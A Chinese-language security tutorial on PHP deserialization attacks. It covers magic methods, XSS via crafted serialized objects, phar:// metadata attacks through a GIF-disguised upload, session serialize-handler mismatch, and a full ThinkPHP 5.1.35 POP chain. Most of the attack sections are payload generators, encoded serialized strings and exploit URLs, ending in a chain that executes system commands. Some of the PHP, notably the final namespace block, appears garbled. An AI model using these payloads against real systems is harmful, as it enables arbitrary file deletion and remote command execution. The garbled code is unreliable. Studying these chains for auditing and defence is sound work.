一、 什么是序列化,什么是反序列化
编程语言有很多数据类型,比如常见的字符串,整数,数组
$str="luoke";$int=10;$arr=array("luoke","10");var_dump($str,$int,$arr);
这些我们都可以用serialize将其序列化输出
echo serialize($str);echo serialize($int);echo serialize($arr);
得到
s:5:"luoke";
i:10;
a:2:{i:0;s:5:"luoke";i:1;s:2:"10";}
unserialize可以将序列化字符串重新变回原来的类型。
var_dump(unserialize('a:2:{i:0;s:5:"luoke";i:1;s:2:"10";}'));
同理,对象也可以序列化和反序列化
class test{ public $str="luoke"; public $int=10; public function a(){ echo $this->str.'
'; } }$a=new test();var_dump($a);echo serialize($a);
class test{ public $str="luoke"; public $int=10; public function a(){ echo $this->str.'
'; } }$a=unserialize('O:4:"test":2:{s:3:"str";s:5:"luoke";s:3:"int";i:10;}');$a->a();
有个echo,如果改变$str则可以触发xss
O:4:"test":2:{s:3:"str";s:25:"
完整的一个xss反序列化的poc如下
<?php class test{ public $str="luoke"; public $int=10; public function a(){ echo $this->str.'
'; } }$a=unserialize($_GET['a']);$a->a();
http://luoke.cn:81/1.php?a=O:4:%22test%22:2:{s:3:%22str%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:3:%22int%22;i:10;}
一个完全可控的反序列化输入点,可以构造一个对象,通过构造序列化字符串,可以继承任意类的属性,控制任意类里的变量。
但是这里XSS的触发,是因为后面我们使用了类中的方法a(),还有一些自动触发的魔术方法,现实中的反序列漏洞,往往就出现在魔术方法中。__construct() //类的构造函数,即$a=new test();时__destruct() //类的析构函数,即php脚本结束时__toString()//类被当成字符串时的回应方法,$a=new test();print_r($a);__sleep() //执行serialize()时,先会调用这个函数__wakeup //执行unserialize()时,先会调用这个函数
以下代码可直观感受这五个魔术方法什么时候触发
<?php class test{ public $str="luoke"; public $int=10; public function __construct(){ echo '__construct
'; } public function __destruct(){ echo '__destruct
'; } public function __sleep(){ echo '__sleep
'; return array("str","int"); } public function __wakeup(){ echo '__wakeup
'; } public function __toString(){ return '__toString
'; } } $a = new test(); //创造对象调用__construct $serialize = serialize($a); //序列化对象调用 __sleep $unserialize=unserialize($serialize); //反序列化对象调用__wakeup echo $a; //字符串输出对象调用 __toString //销毁对象调用__destruct?>
其中__destruct()和__wakeup()是最容易触发的。
更多魔术方法见
https://www.php.net/manual/zh/language.oop5.magic.php
类的权限修饰除了public之外还有private和protected,反序列化时会有所不同
class test{ public $str1="luoke"; private $str2="luoke"; protected $str3="luoke"; }$a=new test();echo serialize($a);
O:4:"test":3:{s:4:"str1";s:5:"luoke";s:10:"%00test%00str2";s:5:"luoke";s:7:"%00*%00str3";s:5:"luoke";}
二、 用phar扩展攻击面
很显然,上面的反序列化攻击必须有unserialize函数才可以触发,条件苛刻,而phar协议可以极大扩展攻击面。
在文件包含中我们知道phar://1.zip/1.php去包含压缩文件,但phar其实是一种类似jar的程序打包文件,创建一个新的phar文件看一看。
php.ini中设置phar.readonly=Off
<?php class test{ } @unlink("1.phar"); //删除phar $phar = new Phar("1.phar"); //创建phar文件 $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $a = new test(); $phar->setMetadata($a); // 甚至meta-data $phar->addFromString("echo.php", "<?php echo(1);?>"); //压缩文件 $phar->stopBuffering();?>
观察生成的1.phar发现meta-data被序列化了
那么,当我们用file_get_contents()去使用phar文件则会执行反序列化操作
file_get_contents("phar://1.phar/echo.php");
由于phar不使用文件头而是用stub鉴定文件类型,所以可以在stub前面加入文件头来绕过文件类型检测,即可以上传一个内容为phar的gif文件,再用phar协议包含它来触发反序列化。
例如有这么一个文件file.php,还有个文件上传的地方,只能上传gif文件,上传在upload中
<?php class test{ public $str="luoke"; public $int=10; public function __destruct(){ echo $this->str.'
'; }}file_get_contents($_GET['path']);?>
那么我们先自己构造phar生成程序,拿上面的改改就行了
<?php class test{ public $str="; public $int=10;} @unlink("1.phar"); //删除phar $phar = new Phar("1.phar"); //创建phar文件 $phar->startBuffering(); $phar->setStub("GIF89au<?php __HALT_COMPILER(); ?>"); //设置stub $a = new test(); $phar->setMetadata($a); // 设置meta-data $phar->addFromString("test", "test"); //压缩文件 $phar->stopBuffering();?>
将其后缀改为gif并上传,在file.php中包含它
除了file_get_contents之外,只要能够使用phar协议的,包括绝大部分和文件操作有关的php函数,都能够触发反序列化。include/fileatime/filectime/filemtime/stat/fileinode/fileowner/filegroup/fileperms/file/file_get_contents/readfile/fopen/file_exists/is_dir/is_executable/is_file/is_link/is_readable/is_writeable/is_writable/parse_ini_file/unlink/copy/touch/exif_thumbnail/exif_imagetype/imageloadfont/hash_hmac_file/hash_file/hash_update_file/md5_file/sha1_file/get_meta_tags/get_headers/getimagesize/getimagesizefromstring
很多可以操作文件的扩展也能够用phar触发反序列化extractTo/pgsqlCopyFromFile甚至mysql的LOAD DATA LOCAL INFIL以及xxe
phar协议还可以套在另外三种伪协议后面php://filter/resource=phar://upload/1.gif/test
compress.bzip2://phar://upload/1.gif/test
compress.zlib://phar://upload/1.gif/test三、 用session扩展攻击面
先看phpinfo中的session路径和session存储格式。
session.serialize_handler存储格式这里主要是php_serialize和php两种,默认是php
设定一下session,然后去查看session文件
<?php // ini_set('session.serialize_handler','php');//默认,所以不用设置session_start();$_SESSION['name']="luoke";?><script>alert(document.cookie)script>
很显然,session也是以序列化字符串存储的,只不过带一个竖线声明键值,但php_serialize存储格式却不带竖线。
<?php ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name']="luoke";?><script>alert(document.cookie)script>
那么,如果错误的同时使用两种格式存储session,php_serialize存储的session又可控,那么就可以传入竖线,可能造成反序列化漏洞。常见于php脚本使用php_serialize,而php.ini默认使用php,比如下面这种情况。
1.php
<?php class test{ public $str="luoke"; public $int=10; public function __destruct(){ echo $this->str.'
'; }}session_start();?>
2.php
<?php ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['name']=$_GET['name'];?>
那么,先访问http://luoke.cn:81/test/2.php?name=|O:4:%22test%22:2:{s:3:%22str%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:3:%22int%22;i:10;}
再访问http://luoke.cn:81/test/1.php
触发反序列化
如果反过来php.ini使用php_serialize,php脚本使用php,则更容易利用。
<?php ini_set('session.serialize_handler','php'); class test{ public $str="luoke"; public $int=10; public function __destruct(){ echo $this->str.'
'; }}session_start();?>
文件包含的时候讲过一种条件竞争的控制session的办法
<form action="1.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:4:"test":2:{s:3:"str";s:25:" /> <input type="file" name="file" /><input type="submit" />form>
bp发1000000个包,条件竞争成功
四、 实战,thinkphp反序列化
实战中往往没有这么简单,而是需要挨个触发多个类,形成pop链
<?php class classA{ public $name="classA"; public function __destruct(){ echo $this->name; echo "classA success
"; }}class classB{ public $name="classB"; public function __toString(){ echo $this->name->files; return "classB success
"; }}class classC{ public $name="classC"; public function __get($val){ $this->name->files = "whoami"; echo "classC success
"; }}class classD{ public $name="classD"; public function __set($val1,$val2){ $this->name->files(); echo "classD success
"; }}class classE{ public $name; public function __call($val1,$val2){ $this->ff("classE success
"); $filanme=$this->name; $filanme(); } public function ff($val){ echo($val); }}class classF{ public function __invoke(){ echo("classF success
"); }}//$a = new classA();//$a->name = new classB();//$a->name->name = new classC();//$a->name->name->name = new classD();//$a->name->name->name->name = new classE();//$a->name->name->name->name->name = new classF();//echo "
";$u = @unserialize($_GET['c']);?>
Thinkphp5.0,5.1版本均存在反序列化,而且切入点都一样,但因为thinkphp本身没有反序列化入口,所以不被重视。
我用的的版本是5.1.35版本
先手动创造反序列化入口
\application\index\controller\index.php
增加$u = @unserialize($_GET['c']);http://luoke.cn:81/public/index.php?c=xxxxxxxxxxxx
切入点:\thinkphp\library\think\process\pipes\Windows.php
class Windows extends Pipes private $files = []; public function __destruct() { $this->close(); $this->removeFiles();} private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
$files可控=>$filename可控,那么最起码有一个@unlink($filename);任意文件删除的反序列化。
父类是Pipes,命名空间是think\process\pipes,构造反序列化字符串。
<?php namespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = ['1.txt'];}echo str_replace("\x00","%00",serialize(new Windows()));
得到O:27:"think\process\pipes\Windows":1:{s:34:"%00think\process\pipes\Windows%00files";a:1:{i:0;s:5:"1.txt";}}
在\public目录建立1.txt,访问
http://luoke.cn:81/thinkphp5.1/public/index.php?c=O:27:%22think\process\pipes\Windows%22:1:{s:34:%22%00think\process\pipes\Windows%00files%22;a:1:{i:0;s:5:%221.txt%22;}}
成功删除1.txt。
当$filename为对象的时候,file_exists($filename)可以触发__toString,全局搜索__toString,有个Conversion类可以利用。
\thinkphp\library\think\model\concern\Conversion.php
trait Conversion{ protected $visible = []; protected $hidden = []; protected $append = []; protected $resultSetType; public function __toString(){ return $this->toJson(); } public function toJson($options = JSON_UNESCAPED_UNICODE){ return json_encode($this->toArray(), $options);}}
__toString()-> toJson()-> toArray(),这个链很清晰,继续跟进
public function toArray(){ $item = []; $visible = []; $hidden = []; ..... if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); }
$this->append可控,然后触发getRelation()和getAttr(),getRelation()是RelationShip的方法
/thinkphp/library/think/model/concern/RelationShip.php
private $relation = []; public function getRelation($name = null){ if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
这里都是返回结果,没有进一步利用的可能。$relation默认为空,if(!$relation)后直接触发getAttr(),getAttr()是Attribute类的方法。
/thinkphp/library/think/model/concern/Attribute.php
public function getAttr($name, &$item = null){ try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; }
跟进getData()
trait Attribute{ private $data = []; public function getData($name = null){ if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; }
此时可以发现由于
$relation = $this->getAttr($key) = new Attribute ->data可控
$relation->visible($name),$name = $this->append as $key => $name可控
所以等于$a->visible($b),ab都可控,此时有两种链,一种是用来触发其他类的visible同名方法,一种是触发__call。
第一种有visible方法的类有三个,排除Conversion本身其他两个都不能利用。
第二种搜function __call就有很多了,这里选择的是Request这个有危险回调函数的call_user_func_array的类。
public function __call($method, $args){ if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
call_user_func_array一句话写法如下
call_user_func_array($_GET['a'],array($_GET['b']));
php5中可以a=assert来执行任意代码,php7中只能用system之类的执行命令。
先看$this->hook[$method],$method= visible,所以$this->hook[$method]也是可控的,那么我们可以执行一个任意方法。
如果想用call_user_func_array执行类里面的方法,写法为这样
class foo { function bar($arg, $arg2) { echo "$arg$arg2"; }}$foo = new foo;call_user_func_array(array($foo, "bar"), array("three", "four"));
call_user_func_array在Request里面,如果想执行Request类中的方法,比如isAjax,只需要让$this->hook[$method]= ["visible"=>[$this,"isAjax"]]即可。
再看$args,$args是$relation->visible($name)中的array($name),可控,但是由于array_unshift($args, $this),向$args数组的开头插入了$this,也就是插入了整个Request类,导致system无法执行命令。除此之外,if (is_array($name))使得$name必须是一个数组,而_call方法会将$args=array($name),也就是说最终$name是个二维数组,同样导致无法用system去执行。
如果改成return call_user_func_array($this->hook[$method], $args[1])可以用如下反序列化串执行。
<?php namespace think;class Model{ protected $append = []; private $data = []; function __construct(){ $this->append=["qwe"=>["calc"]]; $this->data=["qwe"=>new Request()]; }}class Request{ protected $hook = ["visible"=>"system"];}namespace think\process\pipes;use think\model\Pivot; class Windows{ private $files = []; public function __construct(){ $this->files=[new Pivot()]; }}namespace think\model;use think\Model; class Pivot extends Model{}use think\process\pipes\Windows;echo str_replace("\x00","%00",serialize(new Windows()));
这里有几个概念上的问题。
第一是命名空间namespace,其实就相当于目录结构。避免同名类,namespace think;class Model{}其实就相当于class think\Model。
第二是use的问题,use用在类外面是配合命名空间的,用在类里面是多继承。
第三是类的继承,class Pivot extends Model,表示Pivot继承Model,可以使用Model里的所有方法。但这种只能单继承,也就是Pivot只能继承一个类,所以出现了trait Attribute这种多继承方法,忽略命名空间,我们用到的类结构大概是这样的。
trait Attribute{}
trait Conversion{}
trait RelationShip{}
abstract class Model{use Attribute,Conversion, RelationShip;}
class Pivot extends Model{}
class Request{}
class Windows
第四就是为什么不直接用Model类呢?因为它是abstract(抽象类),无法反序列化。
得到反序列化字符串:O:27:"think\process\pipes\Windows":1:{s:34:"%00think\process\pipes\Windows%00files";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"%00*%00append";a:1:{s:3:"qwe";a:1:{i:0;s:4:"calc";}}s:17:"%00think\Model%00data";a:1:{s:3:"qwe";O:13:"think\Request":1:{s:7:"%00*%00hook";a:1:{s:7:"visible";s:6:"system";}}}}}}
但现实情况是必须继续找RCE的链,现在我们可以控制的情况是这样的。
call_user_func_array(["aaaa"], [$this,["bbbb"]]);
如果将["aaaa"]控制为[new x(),"aaaa"]则等于可控任意类中的任意方法。但由于使用的参数第一个必须是$this,导致很难构造出想要的效果,所以我们只能通过触发任意方法,然后再在方法中找可控变量进行命令执行。
网上的教程是反向来找的,这样比较好找,但正向找比较容易理解,先触发isAjax()
public function isAjax($ajax = false){ $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false; if (true === $ajax) { return $result; } $result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
触发$this->param($this->config['var_ajax']),$this->config完全可控,跟进param()
public function param($name = '', $default = null, $filter = ''){ if (!$this->mergeParam) { $method = $this->method(true); switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter);}
param()的$name=$this->config['var_ajax']完全可控,不让它等于true则触发input($this->param, $name, $default, $filter)
其中$this->param虽然是类的自定义变量,但中间有个$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
也就是说向一个自定义数组中插入了多个元素,不过还好是插入在了尾部,一般不影响比如system函数执行。$vars为空,我们在看看$this->get()和$this->route()等于多少。
public function get($name = '', $default = null, $filter = ''){ if (empty($this->get)) { $this->get = $_GET; } return $this->input($this->get, $name, $default, $filter); } public function route($name = '', $default = null, $filter = ''){ return $this->input($this->route, $name, $default, $filter); }
再看input()
public function input($data = [], $name = '', $default = null, $filter = ''){ if (false === $name) { return $data; }……
很显然,$name= false,所以直接返回 $data,也就是$this->get和$this->route,这两个都是完全可控的,其中$this->get还等于$_GET,也就是url传进来的GET参数。也就是说,$this->param可以通过4个办法来控制具体的值,很多教程里都选择了可以在实际请求中任意改变的$_GET,但没有必要,我们简单点控制$this->param就行了。
再看触发的$this->input($this->param, $name, $default, $filter)
public function input($data = [], $name = '', $default = null, $filter = ''){ if (false === $name) { return $data; } $name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } $data = $this->getData($data, $name); if (is_null($data)) { return $default; } if (is_object($data)) { return $data; } } $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', ')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } if (isset($type) && $data !== $default) { $this->typeCast($data, $type); } return $data; }
这儿$data=$this->param,$name=$this->config['var_ajax'],我们使$name='',前面的对于$name的判定就不需要管了,直接看$filter =
$this->getFilter($filter, $default); protected function getFilter($filter, $default){ if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter; }
$filter=''不是null, 所以$filter = $filter ?: $this->filter也就是$filter=$this->filter,后面还有一个强转操作,$filter如果是字符串会转换成数组。
那么我们就可以执行array_walk_recursive($data, [$this, 'filterValue'], $filter);了,这同样是个回调函数,如果$data=['a'=>'b'],则执行filterValue('b', 'a', $filter)。
再看filterValue
private function filterValue(&$value, $key, $filters){ $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value);……
那么结果很明显了,最终rce的点就在于call_user_func($filter, $value)。
从头到尾捋一捋。thinkphp\library\think\process\pipes\Windows.php - > __destruct()
thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
把上面那个改过源码的POC稍微改一改就能变成原版thinkphp5.1.35的反序列化POC了
<?php namespace think;class Model{ protected $append = []; private $data = []; function __construct(){ $this->append=["qwe"=>[""]]; $this->data=["qwe"=>new Request()]; }}class Request{ protected $hook = []; protected $param = []; protected $config = []; protected $filter; function __construct(){ $this->hook=['visible'=>[$this,"isAjax"]]; $this->config=['var_ajax'=>'']; $this->param=['calc']; $this->filter=['system']; }}namespace think;use think; class Windows{ private $files = []; public function __construct(){ $this->files=[new Pivot()]; }}namespace think;use think; class Pivot extends Model{}use think;echo str_replace("\x00","%00",serialize(new Windows()));
http://luoke.cn:81/thinkphp5.1/public/index.php?c=O:27:%22think\process\pipes\Windows%22:1:{s:34:%22%00think\process\pipes\Windows%00files%22;a:1:{i:0;O:17:%22think\model\Pivot%22:2:{s:9:%22%00*%00append%22;a:1:{s:3:%22qwe%22;a:1:{i:0;s:0:%22%22;}}s:17:%22%00think\Model%00data%22;a:1:{s:3:%22qwe%22;O:13:%22think\Request%22:4:{s:7:%22%00*%00hook%22;a:1:{s:7:%22visible%22;a:2:{i:0;r:8;i:1;s:6:%22isAjax%22;}}s:8:%22%00*%00param%22;a:1:{i:0;s:4:%22calc%22;}s:9:%22%00*%00config%22;a:1:{s:8:%22var_ajax%22;s:0:%22%22;}s:9:%22%00*%00filter%22;a:1:{i:0;s:6:%22system%22;}}}}}}